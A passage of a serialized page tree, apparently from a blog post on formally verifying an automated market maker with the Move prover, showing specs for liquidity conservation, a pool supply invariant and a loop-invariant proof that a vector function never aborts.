functions\n",{"type":24,"tag":147,"props":13607,"children":13608},{"class":149,"line":160},[13609,13613,13618,13622,13627,13631,13635,13639,13644,13648,13652,13656,13660,13664,13669,13673,13677,13681,13685,13690],{"type":24,"tag":147,"props":13610,"children":13611},{"style":247},[13612],{"type":29,"value":12195},{"type":24,"tag":147,"props":13614,"children":13615},{"style":229},[13616],{"type":29,"value":13617}," no_free_money_theorem",{"type":24,"tag":147,"props":13619,"children":13620},{"style":235},[13621],{"type":29,"value":480},{"type":24,"tag":147,"props":13623,"children":13624},{"style":247},[13625],{"type":29,"value":13626},"coin1_in",{"type":24,"tag":147,"props":13628,"children":13629},{"style":241},[13630],{"type":29,"value":978},{"type":24,"tag":147,"props":13632,"children":13633},{"style":9044},[13634],{"type":29,"value":11484},{"type":24,"tag":147,"props":13636,"children":13637},{"style":235},[13638],{"type":29,"value":546},{"type":24,"tag":147,"props":13640,"children":13641},{"style":247},[13642],{"type":29,"value":13643},"coin2_in",{"type":24,"tag":147,"props":13645,"children":13646},{"style":241},[13647],{"type":29,"value":978},{"type":24,"tag":147,"props":13649,"children":13650},{"style":9044},[13651],{"type":29,"value":11484},{"type":24,"tag":147,"props":13653,"children":13654},{"style":235},[13655],{"type":29,"value":8758},{"type":24,"tag":147,"props":13657,"children":13658},{"style":241},[13659],{"type":29,"value":978},{"type":24,"tag":147,"props":13661,"children":13662},{"style":235},[13663],{"type":29,"value":408},{"type":24,"tag":147,"props":13665,"children":13666},{"style":9044},[13667],{"type":29,"value":13668},"u64",{"type":24,"tag":147,"props":13670,"children":13671},{"style":235},[13672],{"type":29,"value":546},{"type":24,"tag":147,"props":13674,"children":13675},{"style":9044},[13676],{"type":29,"value":13668},{"type":24,"tag":147,"props":13678,"children":13679},{"style":235},[13680],{"type":29,"value":564},{"type":24,"tag":147,"props":13682,"children":13683},{"style":247},[13684],{"type":29,"value":11969},{"type":24,"tag":147,"props":13686,"children":13687},{"style":9044},[13688],{"type":29,"value":13689}," Pool",{"type":24,"tag":147,"props":13691,"children":13692},{"style":235},[13693],{"type":29,"value":6630},{"type":24,"tag":147,"props":13695,"children":13696},{"class":149,"line":169},[13697,13702,13707,13711,13716,13720,13724,13728,13732],{"type":24,"tag":147,"props":13698,"children":13699},{"style":218},[13700],{"type":29,"value":13701},"      let",{"type":24,"tag":147,"props":13703,"children":13704},{"style":247},[13705],{"type":29,"value":13706}," share",{"type":24,"tag":147,"props":13708,"children":13709},{"style":241},[13710],{"type":29,"value":651},{"type":24,"tag":147,"props":13712,"children":13713},{"style":229},[13714],{"type":29,"value":13715}," add_liquidity",{"type":24,"tag":147,"props":13717,"children":13718},{"style":235},[13719],{"type":29,"value":480},{"type":24,"tag":147,"props":13721,"children":13722},{"style":247},[13723],{"type":29,"value":13626},{"type":24,"tag":147,"props":13725,"children":13726},{"style":235},[13727],{"type":29,"value":546},{"type":24,"tag":147,"props":13729,"children":13730},{"style":247},[13731],{"type":29,"value":13643},{"type":24,"tag":147,"props":13733,"children":13734},{"style":235},[13735],{"type":29,"value":1473},{"type":24,"tag":147,"props":13737,"children":13738},{"class":149,"line":178},[13739,13744,13748,13753],{"type":24,"tag":147,"props":13740,"children":13741},{"style":229},[13742],{"type":29,"value":13743},"      remove_liquidity",{"type":24,"tag":147,"props":13745,"children":13746},{"style":235},[13747],{"type":29,"value":480},{"type":24,"tag":147,"props":13749,"children":13750},{"style":247},[13751],{"type":29,"value":13752},"share",{"type":24,"tag":147,"props":13754,"children":13755},{"style":235},[13756],{"type":29,"value":269},{"type":24,"tag":147,"props":13758,"children":13759},{"class":149,"line":187},[13760],{"type":24,"tag":147,"props":13761,"children":13762},{"style":235},[13763],{"type":29,"value":11496},{"type":24,"tag":147,"props":13765,"children":13766},{"class":149,"line":196},[13767,13772,13776],{"type":24,"tag":147,"props":13768,"children":13769},{"style":247},[13770],{"type":29,"value":13771},"  spec",{"type":24,"tag":147,"props":13773,"children":13774},{"style":247},[13775],{"type":29,"value":13617},{"type":24,"tag":147,"props":13777,"children":13778},{"style":235},[13779],{"type":29,"value":6630},{"type":24,"tag":147,"props":13781,"children":13782},{"class":149,"line":205},[13783,13788,13793,13797,13802],{"type":24,"tag":147,"props":13784,"children":13785},{"style":247},[13786],{"type":29,"value":13787},"      pragma",{"type":24,"tag":147,"props":13789,"children":13790},{"style":247},[13791],{"type":29,"value":13792}," verify",{"type":24,"tag":147,"props":13794,"children":13795},{"style":241},[13796],{"type":29,"value":369},{"type":24,"tag":147,"props":13798,"children":13799},{"style":218},[13800],{"type":29,"value":13801},"false",{"type":24,"tag":147,"props":13803,"children":13804},{"style":235},[13805],{"type":29,"value":432},{"type":24,"tag":147,"props":13807,"children":13808},{"class":149,"line":214},[13809,13814,13819,13824,13829],{"type":24,"tag":147,"props":13810,"children":13811},{"style":247},[13812],{"type":29,"value":13813},"      ensures",{"type":24,"tag":147,"props":13815,"children":13816},{"style":247},[13817],{"type":29,"value":13818}," result_1",{"type":24,"tag":147,"props":13820,"children":13821},{"style":241},[13822],{"type":29,"value":13823}," \u003C=",{"type":24,"tag":147,"props":13825,"children":13826},{"style":247},[13827],{"type":29,"value":13828}," coin1_in",{"type":24,"tag":147,"props":13830,"children":13831},{"style":235},[13832],{"type":29,"value":432},{"type":24,"tag":147,"props":13834,"children":13835},{"class":149,"line":272},[13836,13840,13845,13849,13854],{"type":24,"tag":147,"props":13837,"children":13838},{"style":247},[13839],{"type":29,"value":13813},{"type":24,"tag":147,"props":13841,"children":13842},{"style":247},[13843],{"type":29,"value":13844}," result_2",{"type":24,"tag":147,"props":13846,"children":13847},{"style":241},[13848],{"type":29,"value":13823},{"type":24,"tag":147,"props":13850,"children":13851},{"style":247},[13852],{"type":29,"value":13853}," coin2_in",{"type":24,"tag":147,"props":13855,"children":13856},{"style":235},[13857],{"type":29,"value":432},{"type":24,"tag":147,"props":13859,"children":13860},{"class":149,"line":281},[13861],{"type":24,"tag":147,"props":13862,"children":13863},{"style":235},[13864],{"type":29,"value":11496},{"type":24,"tag":25,"props":13866,"children":13867},{},[13868],{"type":29,"value":13869},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":24,"tag":25,"props":13871,"children":13872},{},[13873,13875,13880],{"type":29,"value":13874},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":24,"tag":8545,"props":13876,"children":13877},{},[13878],{"type":29,"value":13879},"lot",{"type":29,"value":13881}," easier to reason about the protocol.",{"type":24,"tag":25,"props":13883,"children":13884},{},[13885],{"type":29,"value":13886},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":24,"tag":137,"props":13888,"children":13890},{"className":8614,"code":13889,"language":8613,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[13891],{"type":24,"tag":80,"props":13892,"children":13893},{"__ignoreMap":7},[13894,13911,13933],{"type":24,"tag":147,"props":13895,"children":13896},{"class":149,"line":150},[13897,13902,13907],{"type":24,"tag":147,"props":13898,"children":13899},{"style":247},[13900],{"type":29,"value":13901},"spec",{"type":24,"tag":147,"props":13903,"children":13904},{"style":9044},[13905],{"type":29,"value":13906}," PoolState",{"type":24,"tag":147,"props":13908,"children":13909},{"style":235},[13910],{"type":29,"value":6630},{"type":24,"tag":147,"props":13912,"children":13913},{"class":149,"line":160},[13914,13919,13924,13928],{"type":24,"tag":147,"props":13915,"children":13916},{"style":247},[13917],{"type":29,"value":13918},"    invariant",{"type":24,"tag":147,"props":13920,"children":13921},{"style":247},[13922],{"type":29,"value":13923}," supply",{"type":24,"tag":147,"props":13925,"children":13926},{"style":241},[13927],{"type":29,"value":1623},{"type":24,"tag":147,"props":13929,"children":13930},{"style":235},[13931],{"type":29,"value":13932}," MINIMUM_LIQUIDITY;\n",{"type":24,"tag":147,"props":13934,"children":13935},{"class":149,"line":169},[13936],{"type":24,"tag":147,"props":13937,"children":13938},{"style":235},[13939],{"type":29,"value":827},{"type":24,"tag":25,"props":13941,"children":13942},{},[13943,13945,13951,13953,13959],{"type":29,"value":13944},"Another useful pattern for the Move prover is ",{"type":24,"tag":80,"props":13946,"children":13948},{"className":13947},[],[13949],{"type":29,"value":13950},"aborts_if",{"type":29,"value":13952},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":24,"tag":80,"props":13954,"children":13956},{"className":13955},[],[13957],{"type":29,"value":13958},"aborts_if false",{"type":29,"value":87},{"type":24,"tag":25,"props":13961,"children":13962},{},[13963],{"type":29,"value":13964},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":24,"tag":137,"props":13966,"children":13968},{"className":8614,"code":13967,"language":8613,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[13969],{"type":24,"tag":80,"props":13970,"children":13971},{"__ignoreMap":7},[13972,14036,14078,14101,14146,14159,14171,14209,14232,14320,14328,14353,14361,14382,14402,14502,14510,14538,14546,14558,14582,14617,14624,14632,14639,14654,14670,14687,14731,14835],{"type":24,"tag":147,"props":13973,"children":13974},{"class":149,"line":150},[13975,13979,13984,13988,13993,13997,14002,14006,14010,14015,14019,14023,14027,14032],{"type":24,"tag":147,"props":13976,"children":13977},{"style":247},[13978],{"type":29,"value":12195},{"type":24,"tag":147,"props":13980,"children":13981},{"style":229},[13982],{"type":29,"value":13983}," multiply_vec_by_n_coins",{"type":24,"tag":147,"props":13985,"children":13986},{"style":235},[13987],{"type":29,"value":480},{"type":24,"tag":147,"props":13989,"children":13990},{"style":247},[13991],{"type":29,"value":13992},"input",{"type":24,"tag":147,"props":13994,"children":13995},{"style":241},[13996],{"type":29,"value":978},{"type":24,"tag":147,"props":13998,"children":13999},{"style":247},[14000],{"type":29,"value":14001}," vector",{"type":24,"tag":147,"props":14003,"children":14004},{"style":235},[14005],{"type":29,"value":3583},{"type":24,"tag":147,"props":14007,"children":14008},{"style":9044},[14009],{"type":29,"value":13668},{"type":24,"tag":147,"props":14011,"children":14012},{"style":235},[14013],{"type":29,"value":14014},">)",{"type":24,"tag":147,"props":14016,"children":14017},{"style":241},[14018],{"type":29,"value":978},{"type":24,"tag":147,"props":14020,"children":14021},{"style":247},[14022],{"type":29,"value":14001},{"type":24,"tag":147,"props":14024,"children":14025},{"style":235},[14026],{"type":29,"value":3583},{"type":24,"tag":147,"props":14028,"children":14029},{"style":9044},[14030],{"type":29,"value":14031},"u128",{"type":24,"tag":147,"props":14033,"children":14034},{"style":235},[14035],{"type":29,"value":12907},{"type":24,"tag":147,"props":14037,"children":14038},{"class":149,"line":160},[14039,14043,14048,14052,14056,14060,14065,14069,14073],{"type":24,"tag":147,"props":14040,"children":14041},{"style":218},[14042],{"type":29,"value":13701},{"type":24,"tag":147,"props":14044,"children":14045},{"style":247},[14046],{"type":29,"value":14047}," amounts_times_coins",{"type":24,"tag":147,"props":14049,"children":14050},{"style":241},[14051],{"type":29,"value":651},{"type":24,"tag":147,"props":14053,"children":14054},{"style":235},[14055],{"type":29,"value":14001},{"type":24,"tag":147,"props":14057,"children":14058},{"style":241},[14059],{"type":29,"value":9106},{"type":24,"tag":147,"props":14061,"children":14062},{"style":247},[14063],{"type":29,"value":14064},"empty",{"type":24,"tag":147,"props":14066,"children":14067},{"style":235},[14068],{"type":29,"value":3583},{"type":24,"tag":147,"props":14070,"children":14071},{"style":9044},[14072],{"type":29,"value":14031},{"type":24,"tag":147,"props":14074,"children":14075},{"style":235},[14076],{"type":29,"value":14077},">();\n",{"type":24,"tag":147,"props":14079,"children":14080},{"class":149,"line":169},[14081,14085,14089,14093,14097],{"type":24,"tag":147,"props":14082,"children":14083},{"style":218},[14084],{"type":29,"value":13701},{"type":24,"tag":147,"props":14086,"children":14087},{"style":247},[14088],{"type":29,"value":9023},{"type":24,"tag":147,"props":14090,"children":14091},{"style":241},[14092],{"type":29,"value":651},{"type":24,"tag":147,"props":14094,"children":14095},{"style":705},[14096],{"type":29,"value":708},{"type":24,"tag":147,"props":14098,"children":14099},{"style":235},[14100],{"type":29,"value":432},{"type":24,"tag":147,"props":14102,"children":14103},{"class":149,"line":178},[14104,14108,14113,14117,14121,14125,14130,14134,14138,14142],{"type":24,"tag":147,"props":14105,"children":14106},{"style":218},[14107],{"type":29,"value":13701},{"type":24,"tag":147,"props":14109,"children":14110},{"style":247},[14111],{"type":29,"value":14112}," n_coins",{"type":24,"tag":147,"props":14114,"children":14115},{"style":241},[14116],{"type":29,"value":651},{"type":24,"tag":147,"props":14118,"children":14119},{"style":235},[14120],{"type":29,"value":14001},{"type":24,"tag":147,"props":14122,"children":14123},{"style":241},[14124],{"type":29,"value":9106},{"type":24,"tag":147,"props":14126,"children":14127},{"style":229},[14128],{"type":29,"value":14129},"length",{"type":24,"tag":147,"props":14131,"children":14132},{"style":235},[14133],{"type":29,"value":480},{"type":24,"tag":147,"props":14135,"children":14136},{"style":241},[14137],{"type":29,"value":485},{"type":24,"tag":147,"props":14139,"children":14140},{"style":247},[14141],{"type":29,"value":13992},{"type":24,"tag":147,"props":14143,"children":14144},{"style":235},[14145],{"type":29,"value":1473},{"type":24,"tag":147,"props":14147,"children":14148},{"class":149,"line":187},[14149,14154],{"type":24,"tag":147,"props":14150,"children":14151},{"style":321},[14152],{"type":29,"value":14153},"      while",{"type":24,"tag":147,"props":14155,"children":14156},{"style":235},[14157],{"type":29,"value":14158}," ({\n",{"type":24,"tag":147,"props":14160,"children":14161},{"class":149,"line":196},[14162,14167],{"type":24,"tag":147,"props":14163,"children":14164},{"style":247},[14165],{"type":29,"value":14166},"          spec",{"type":24,"tag":147,"props":14168,"children":14169},{"style":235},[14170],{"type":29,"value":6630},{"type":24,"tag":147,"props":14172,"children":14173},{"class":149,"line":205},[14174,14179,14184,14188,14193,14197,14201,14205],{"type":24,"tag":147,"props":14175,"children":14176},{"style":247},[14177],{"type":29,"value":14178},"              invariant",{"type":24,"tag":147,"props":14180,"children":14181},{"style":229},[14182],{"type":29,"value":14183}," len",{"type":24,"tag":147,"props":14185,"children":14186},{"style":235},[14187],{"type":29,"value":480},{"type":24,"tag":147,"props":14189,"children":14190},{"style":247},[14191],{"type":29,"value":14192},"amounts_times_coins",{"type":24,"tag":147,"props":14194,"children":14195},{"style":235},[14196],{"type":29,"value":564},{"type":24,"tag":147,"props":14198,"children":14199},{"style":241},[14200],{"type":29,"value":6600},{"type":24,"tag":147,"props":14202,"children":14203},{"style":247},[14204],{"type":29,"value":9023},{"type":24,"tag":147,"props":14206,"children":14207},{"style":235},[14208],{"type":29,"value":432},{"type":24,"tag":147,"props":14210,"children":14211},{"class":149,"line":214},[14212,14216,14220,14224,14228],{"type":24,"tag":147,"props":14213,"children":14214},{"style":247},[14215],{"type":29,"value":14178},{"type":24,"tag":147,"props":14217,"children":14218},{"style":247},[14219],{"type":29,"value":9023},{"type":24,"tag":147,"props":14221,"children":14222},{"style":241},[14223],{"type":29,"value":13823},{"type":24,"tag":147,"props":14225,"children":14226},{"style":247},[14227],{"type":29,"value":14112},{"type":24,"tag":147,"props":14229,"children":14230},{"style":235},[14231],{"type":29,"value":432},{"type":24,"tag":147,"props":14233,"children":14234},{"class":149,"line":272},[14235,14239,14244,14249,14253,14257,14261,14265,14269,14273,14277,14282,14287,14291,14296,14300,14304,14308,14312,14316],{"type":24,"tag":147,"props":14236,"children":14237},{"style":247},[14238],{"type":29,"value":14178},{"type":24,"tag":147,"props":14240,"children":14241},{"style":247},[14242],{"type":29,"value":14243}," forall",{"type":24,"tag":147,"props":14245,"children":14246},{"style":247},[14247],{"type":29,"value":14248}," j",{"type":24,"tag":147,"props":14250,"children":14251},{"style":218},[14252],{"type":29,"value":8674},{"type":24,"tag":147,"props":14254,"children":14255},{"style":705},[14256],{"type":29,"value":708},{"type":24,"tag":147,"props":14258,"children":14259},{"style":241},[14260],{"type":29,"value":8683},{"type":24,"tag":147,"props":14262,"children":14263},{"style":247},[14264],{"type":29,"value":9363},{"type":24,"tag":147,"props":14266,"children":14267},{"style":241},[14268],{"type":29,"value":978},{"type":24,"tag":147,"props":14270,"children":14271},{"style":247},[14272],{"type":29,"value":14047},{"type":24,"tag":147,"props":14274,"children":14275},{"style":235},[14276],{"type":29,"value":9358},{"type":24,"tag":147,"props":14278,"children":14279},{"style":247},[14280],{"type":29,"value":14281},"j",{"type":24,"tag":147,"props":14283,"children":14284},{"style":235},[14285],{"type":29,"value":14286},"] ",{"type":24,"tag":147,"props":14288,"children":14289},{"style":241},[14290],{"type":29,"value":6600},{"type":24,"tag":147,"props":14292,"children":14293},{"style":247},[14294],{"type":29,"value":14295}," input",{"type":24,"tag":147,"props":14297,"children":14298},{"style":235},[14299],{"type":29,"value":9358},{"type":24,"tag":147,"props":14301,"children":14302},{"style":247},[14303],{"type":29,"value":14281},{"type":24,"tag":147,"props":14305,"children":14306},{"style":235},[14307],{"type":29,"value":14286},{"type":24,"tag":147,"props":14309,"children":14310},{"style":241},[14311],{"type":29,"value":244},{"type":24,"tag":147,"props":14313,"children":14314},{"style":247},[14315],{"type":29,"value":14112},{"type":24,"tag":147,"props":14317,"children":14318},{"style":235},[14319],{"type":29,"value":432},{"type":24,"tag":147,"props":14321,"children":14322},{"class":149,"line":281},[14323],{"type":24,"tag":147,"props":14324,"children":14325},{"style":235},[14326],{"type":29,"value":14327},"          };\n",{"type":24,"tag":147,"props":14329,"children":14330},{"class":149,"line":299},[14331,14336,14340,14345,14349],{"type":24,"tag":147,"props":14332,"children":14333},{"style":235},[14334],{"type":29,"value":14335},"          (",{"type":24,"tag":147,"props":14337,"children":14338},{"style":247},[14339],{"type":29,"value":9363},{"type":24,"tag":147,"props":14341,"children":14342},{"style":241},[14343],{"type":29,"value":14344}," \u003C",{"type":24,"tag":147,"props":14346,"children":14347},{"style":247},[14348],{"type":29,"value":14112},{"type":24,"tag":147,"props":14350,"children":14351},{"style":235},[14352],{"type":29,"value":269},{"type":24,"tag":147,"props":14354,"children":14355},{"class":149,"line":308},[14356],{"type":24,"tag":147,"props":14357,"children":14358},{"style":235},[14359],{"type":29,"value":14360},"      }) {\n",{"type":24,"tag":147,"props":14362,"children":14363},{"class":149,"line":317},[14364,14369,14373,14378],{"type":24,"tag":147,"props":14365,"children":14366},{"style":235},[14367],{"type":29,"value":14368},"          vector",{"type":24,"tag":147,"props":14370,"children":14371},{"style":241},[14372],{"type":29,"value":9106},{"type":24,"tag":147,"props":14374,"children":14375},{"style":229},[14376],{"type":29,"value":14377},"push_back",{"type":24,"tag":147,"props":14379,"children":14380},{"style":235},[14381],{"type":29,"value":9088},{"type":24,"tag":147,"props":14383,"children":14384},{"class":149,"line":332},[14385,14390,14394,14398],{"type":24,"tag":147,"props":14386,"children":14387},{"style":241},[14388],{"type":29,"value":14389},"              &",{"type":24,"tag":147,"props":14391,"children":14392},{"style":218},[14393],{"type":29,"value":9348},{"type":24,"tag":147,"props":14395,"children":14396},{"style":247},[14397],{"type":29,"value":14047},{"type":24,"tag":147,"props":14399,"children":14400},{"style":235},[14401],{"type":29,"value":1549},{"type":24,"tag":147,"props":14403,"children":14404},{"class":149,"line":350},[14405,14410,14414,14419,14423,14428,14432,14436,14440,14445,14449,14454,14458,14463,14468,14473,14477,14481,14485,14490,14494,14498],{"type":24,"tag":147,"props":14406,"children":14407},{"style":235},[14408],{"type":29,"value":14409},"              (",{"type":24,"tag":147,"props":14411,"children":14412},{"style":241},[14413],{"type":29,"value":244},{"type":24,"tag":147,"props":14415,"children":14416},{"style":235},[14417],{"type":29,"value":14418},"vector",{"type":24,"tag":147,"props":14420,"children":14421},{"style":241},[14422],{"type":29,"value":9106},{"type":24,"tag":147,"props":14424,"children":14425},{"style":229},[14426],{"type":29,"value":14427},"borrow",{"type":24,"tag":147,"props":14429,"children":14430},{"style":235},[14431],{"type":29,"value":480},{"type":24,"tag":147,"props":14433,"children":14434},{"style":241},[14435],{"type":29,"value":485},{"type":24,"tag":147,"props":14437,"children":14438},{"style":247},[14439],{"type":29,"value":13992},{"type":24,"tag":147,"props":14441,"children":14442},{"style":235},[14443],{"type":29,"value":14444},", (",{"type":24,"tag":147,"props":14446,"children":14447},{"style":247},[14448],{"type":29,"value":9363},{"type":24,"tag":147,"props":14450,"children":14451},{"style":218},[14452],{"type":29,"value":14453}," as",{"type":24,"tag":147,"props":14455,"children":14456},{"style":9044},[14457],{"type":29,"value":11484},{"type":24,"tag":147,"props":14459,"children":14460},{"style":235},[14461],{"type":29,"value":14462},")) ",{"type":24,"tag":147,"props":14464,"children":14465},{"style":218},[14466],{"type":29,"value":14467},"as",{"type":24,"tag":147,"props":14469,"children":14470},{"style":9044},[14471],{"type":29,"value":14472}," u128",{"type":24,"tag":147,"props":14474,"children":14475},{"style":235},[14476],{"type":29,"value":564},{"type":24,"tag":147,"props":14478,"children":14479},{"style":241},[14480],{"type":29,"value":244},{"type":24,"tag":147,"props":14482,"children":14483},{"style":235},[14484],{"type":29,"value":408},{"type":24,"tag":147,"props":14486,"children":14487},{"style":247},[14488],{"type":29,"value":14489},"n_coins",{"type":24,"tag":147,"props":14491,"children":14492},{"style":218},[14493],{"type":29,"value":14453},{"type":24,"tag":147,"props":14495,"children":14496},{"style":9044},[14497],{"type":29,"value":14472},{"type":24,"tag":147,"props":14499,"children":14500},{"style":235},[14501],{"type":29,"value":269},{"type":24,"tag":147,"props":14503,"children":14504},{"class":149,"line":358},[14505],{"type":24,"tag":147,"props":14506,"children":14507},{"style":235},[14508],{"type":29,"value":14509},"          );\n",{"type":24,"tag":147,"props":14511,"children":14512},{"class":149,"line":397},[14513,14518,14522,14526,14530,14534],{"type":24,"tag":147,"props":14514,"children":14515},{"style":247},[14516],{"type":29,"value":14517},"          i",{"type":24,"tag":147,"props":14519,"children":14520},{"style":241},[14521],{"type":29,"value":651},{"type":24,"tag":147,"props":14523,"children":14524},{"style":247},[14525],{"type":29,"value":9023},{"type":24,"tag":147,"props":14527,"children":14528},{"style":241},[14529],{"type":29,"value":1734},{"type":24,"tag":147,"props":14531,"children":14532},{"style":705},[14533],{"type":29,"value":10147},{"type":24,"tag":147,"props":14535,"children":14536},{"style":235},[14537],{"type":29,"value":432},{"type":24,"tag":147,"props":14539,"children":14540},{"class":149,"line":421},[14541],{"type":24,"tag":147,"props":14542,"children":14543},{"style":235},[14544],{"type":29,"value":14545},"      };\n",{"type":24,"tag":147,"props":14547,"children":14548},{"class":149,"line":435},[14549,14554],{"type":24,"tag":147,"props":14550,"children":14551},{"style":247},[14552],{"type":29,"value":14553},"      spec",{"type":24,"tag":147,"props":14555,"children":14556},{"style":235},[14557],{"type":29,"value":6630},{"type":24,"tag":147,"props":14559,"children":14560},{"class":149,"line":444},[14561,14566,14570,14574,14578],{"type":24,"tag":147,"props":14562,"children":14563},{"style":247},[14564],{"type":29,"value":14565},"          assert",{"type":24,"tag":147,"props":14567,"children":14568},{"style":247},[14569],{"type":29,"value":9023},{"type":24,"tag":147,"props":14571,"children":14572},{"style":241},[14573],{"type":29,"value":8911},{"type":24,"tag":147,"props":14575,"children":14576},{"style":247},[14577],{"type":29,"value":14112},{"type":24,"tag":147,"props":14579,"children":14580},{"style":235},[14581],{"type":29,"value":432},{"type":24,"tag":147,"props":14583,"children":14584},{"class":149,"line":452},[14585,14589,14593,14597,14601,14605,14609,14613],{"type":24,"tag":147,"props":14586,"children":14587},{"style":247},[14588],{"type":29,"value":14565},{"type":24,"tag":147,"props":14590,"children":14591},{"style":229},[14592],{"type":29,"value":14183},{"type":24,"tag":147,"props":14594,"children":14595},{"style":235},[14596],{"type":29,"value":480},{"type":24,"tag":147,"props":14598,"children":14599},{"style":247},[14600],{"type":29,"value":13992},{"type":24,"tag":147,"props":14602,"children":14603},{"style":235},[14604],{"type":29,"value":564},{"type":24,"tag":147,"props":14606,"children":14607},{"style":241},[14608],{"type":29,"value":6600},{"type":24,"tag":147,"props":14610,"children":14611},{"style":247},[14612],{"type":29,"value":14112},{"type":24,"tag":147,"props":14614,"children":14615},{"style":235},[14616],{"type":29,"value":432},{"type":24,"tag":147,"props":14618,"children":14619},{"class":149,"line":461},[14620],{"type":24,"tag":147,"props":14621,"children":14622},{"style":235},[14623],{"type":29,"value":14545},{"type":24,"tag":147,"props":14625,"children":14626},{"class":149,"line":469},[14627],{"type":24,"tag":147,"props":14628,"children":14629},{"style":247},[14630],{"type":29,"value":14631},"      amounts_times_coins\n",{"type":24,"tag":147,"props":14633,"children":14634},{"class":149,"line":508},[14635],{"type":24,"tag":147,"props":14636,"children":14637},{"style":235},[14638],{"type":29,"value":11496},{"type":24,"tag":147,"props":14640,"children":14641},{"class":149,"line":572},[14642,14646,14650],{"type":24,"tag":147,"props":14643,"children":14644},{"style":247},[14645],{"type":29,"value":13771},{"type":24,"tag":147,"props":14647,"children":14648},{"style":247},[14649],{"type":29,"value":13983},{"type":24,"tag":147,"props":14651,"children":14652},{"style":235},[14653],{"type":29,"value":6630},{"type":24,"tag":147,"props":14655,"children":14656},{"class":149,"line":591},[14657,14661,14666],{"type":24,"tag":147,"props":14658,"children":14659},{"style":247},[14660],{"type":29,"value":13787},{"type":24,"tag":147,"props":14662,"children":14663},{"style":247},[14664],{"type":29,"value":14665}," opaque",{"type":24,"tag":147,"props":14667,"children":14668},{"style":235},[14669],{"type":29,"value":432},{"type":24,"tag":147,"props":14671,"children":14672},{"class":149,"line":632},[14673,14678,14683],{"type":24,"tag":147,"props":14674,"children":14675},{"style":247},[14676],{"type":29,"value":14677},"      aborts_if",{"type":24,"tag":147,"props":14679,"children":14680},{"style":218},[14681],{"type":29,"value":14682}," false",{"type":24,"tag":147,"props":14684,"children":14685},{"style":235},[14686],{"type":29,"value":432},{"type":24,"tag":147,"props":14688,"children":14689},{"class":149,"line":659},[14690,14694,14698,14702,14707,14711,14715,14719,14723,14727],{"type":24,"tag":147,"props":14691,"children":14692},{"style":247},[14693],{"type":29,"value":13813},{"type":24,"tag":147,"props":14695,"children":14696},{"style":229},[14697],{"type":29,"value":14183},{"type":24,"tag":147,"props":14699,"children":14700},{"style":235},[14701],{"type":29,"value":480},{"type":24,"tag":147,"props":14703,"children":14704},{"style":247},[14705],{"type":29,"value":14706},"result",{"type":24,"tag":147,"props":14708,"children":14709},{"style":235},[14710],{"type":29,"value":564},{"type":24,"tag":147,"props":14712,"children":14713},{"style":241},[14714],{"type":29,"value":6600},{"type":24,"tag":147,"props":14716,"children":14717},{"style":229},[14718],{"type":29,"value":14183},{"type":24,"tag":147,"props":14720,"children":14721},{"style":235},[14722],{"type":29,"value":480},{"type":24,"tag":147,"props":14724,"children":14725},{"style":247},[14726],{"type":29,"value":13992},{"type":24,"tag":147,"props":14728,"children":14729},{"style":235},[14730],{"type":29,"value":1473},{"type":24,"tag":147,"props":14732,"children":14733},{"class":149,"line":684},[14734,14738,14742,14746,14750,14754,14758,14762,14766,14770,14774,14778,14783,14787,14791,14795,14799,14803,14807,14811,14815,14819,14823,14827,14831],{"type":24,"tag":147,"props":14735,"children":14736},{"style":247},[14737],{"type":29,"value":13813},{"type":24,"tag":147,"props":14739,"children":14740},{"style":247},[14741],{"type":29,"value":14243},{"type":24,"tag":147,"props":14743,"children":14744},{"style":247},[14745],{"type":29,"value":14248},{"type":24,"tag":147,"props":14747,"children":14748},{"style":218},[14749],{"type":29,"value":8674},{"type":24,"tag":147,"props":14751,"children":14752},{"style":705},[14753],{"type":29,"value":708},{"type":24,"tag":147,"props":14755,"children":14756},{"style":241},[14757],{"type":29,"value":8683},{"type":24,"tag":147,"props":14759,"children":14760},{"style":229},[14761],{"type":29,"value":6227},{"type":24,"tag":147,"props":14763,"children":14764},{"style":235},[14765],{"type":29,"value":480},{"type":24,"tag":147,"props":14767,"children":14768},{"style":247},[14769],{"type":29,"value":13992},{"type":24,"tag":147,"props":14771,"children":14772},{"style":235},[14773],{"type":29,"value":8758},{"type":24,"tag":147,"props":14775,"children":14776},{"style":241},[14777],{"type":29,"value":978},{"type":24,"tag":147,"props":14779,"children":14780},{"style":247},[14781],{"type":29,"value":14782}," 